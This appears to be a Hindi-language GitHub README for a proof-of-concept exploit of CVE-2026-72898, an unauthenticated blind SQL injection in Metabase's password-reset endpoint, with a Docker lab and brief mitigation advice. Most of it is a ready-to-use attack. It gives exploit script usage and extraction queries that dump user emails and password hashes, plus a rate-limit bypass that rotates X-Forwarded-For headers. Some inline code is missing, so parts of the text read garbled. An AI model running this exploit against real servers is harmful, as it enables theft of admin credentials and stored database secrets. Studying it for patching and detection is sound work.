
अनधिकृत ब्लाइंड SQL इंजेक्शन एक्सप्लॉइट Metabase के लिए, जो पासवर्ड रीसेट एंडपॉइंट में रॉ SQL इंजेक्शन का फायदा उठाकर टाइम-आधारित तकनीकों के माध्यम से डेटा निकालता है।
★ CVE-2026-72898 Metabase /api/session/reset_password बिना प्रमाणीकरण ब्लाइंड SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 Metabase में एक बिना प्रमाणीकरण SQL इंजेक्शन है (CVSS 10.0) जो सार्वजनिक
POST /api/session/reset_passwordएंडपॉइंट के माध्यम से पहुंच योग्य है। एंडपॉइंट अनुरोध बॉडी को (विफल) प्रमाणीकरण परिणाम के साथ मर्ज करता है —(merge request (authenticate ...))— इसलिए हमलावर द्वारा आपूर्ति किया गयाuser-idफ़ील्ड बिना छेड़छाड़ के बच जाता है और एप्लिकेशन-डेटाबेस उपयोगकर्ता लुकअपt2/select-one :model/User :id user-idतक बिना किसी पूर्णांक सत्यापन के पहुंचता है। Metabase के साथ SQL बनाता है, जिसका मैप के रूप में संकलित होता है (कोई पैरामीटर बाइंडिंग नहीं)। इसलिए को के रूप में भेजने से एप्लिकेशन डेटाबेस में मनमाना SQL इंजेक्ट हो जाता है। एंडपॉइंट हमेशा लौटाता है, इसलिए इंजेक्शन है; डेटा के साथ प्राप्त किया जाता है (उत्पादन-मानक Postgres एप्लिकेशन DB)। सफल शोषण से Metabase एडमिन डेटा, प्रत्येक संलग्न डेटा स्रोत के लिए संग्रहीत कनेक्शन क्रेडेंशियल्स, और उन डेटाबेस में पूर्ण पिवट प्राप्त होता है।
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| श्रेणी | संस्करण |
|---|---|
| कमजोर | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| पैच किया गया | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 या बाद का |
pos-int? जांच जोड़ता है ताकि क्वेरी से पहले गैर-पूर्णांक user-id अस्वीकार कर दिया जाएकमजोर Metabase बनाएं और चलाएं। यह एक Postgres एप्लिकेशन DB का उपयोग करता है (आवश्यक — समय-आधारित तकनीक को pg_sleep चाहिए, जो H2 में नहीं है) और पहली बार सेटअप स्वतः पूरा करता है ताकि यह लॉगिन पेज पर बूट हो। स्टार्टअप में ~40–60 सेकंड लगते हैं।
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| पूर्वशर्त | इस लैब में स्थिति |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres एप्लिकेशन DB (pg_sleep सक्षम करता है) | इमेज में बंडल किया गया |
/api/session/reset_password बिना प्रमाणीकरण पहुंच योग्य | उजागर |
| प्रति-IP रीसेट थ्रॉटल (X-Forwarded-For घुमाकर बायपास) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
एक्सप्लॉइट metabase_exploit.py किसी भी मान को पढ़ता है जिसे आप इंगित करते हैं, बिना किसी क्रेडेंशियल के, समय-आधारित ब्लाइंड प्रिमिटिव का उपयोग करके। यह प्रति-IP दर सीमा को हराने के लिए प्रति अनुरोध एक नया रैंडम X-Forwarded-For भेजता है (जैसा कि वास्तविक दुनिया के हमलों ने किया था)। --extract "<SQL>" के साथ लक्ष्य चुनें।
# डिफ़ॉल्ट: एडमिन ईमेल निकालें
python3 metabase_exploit.py 172.17.0.2:3000
# जो चाहें निकालें (कोई भी SQL स्केलर एक्सप्रेशन)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
विकल्प:
--check — केवल पुष्टि करें कि इंजेक्शन शोषण योग्य है (pg_sleep समय अंतर दिखाता है)--extract "<SQL>" — कोई भी स्केलर SQL एक्सप्रेशन (स्वचालित रूप से टेक्स्ट में कास्ट किया जाता है)--sleep 0.4 — प्रति TRUE बिट देरी (धीमे/दूरस्थ लक्ष्य पर इसे बढ़ाएं)POST /api/session/reset_password को ब्लॉक करेंcore_session) को अमान्य करें, एडमिन खातों और API कुंजियों की समीक्षा करें, और प्रत्येक संलग्न डेटा स्रोत के कनेक्शन क्रेडेंशियल्स को घुमाएं (मान लें कि वे उजागर हुए थे यदि एंडपॉइंट इंटरनेट-पहुंच योग्य था)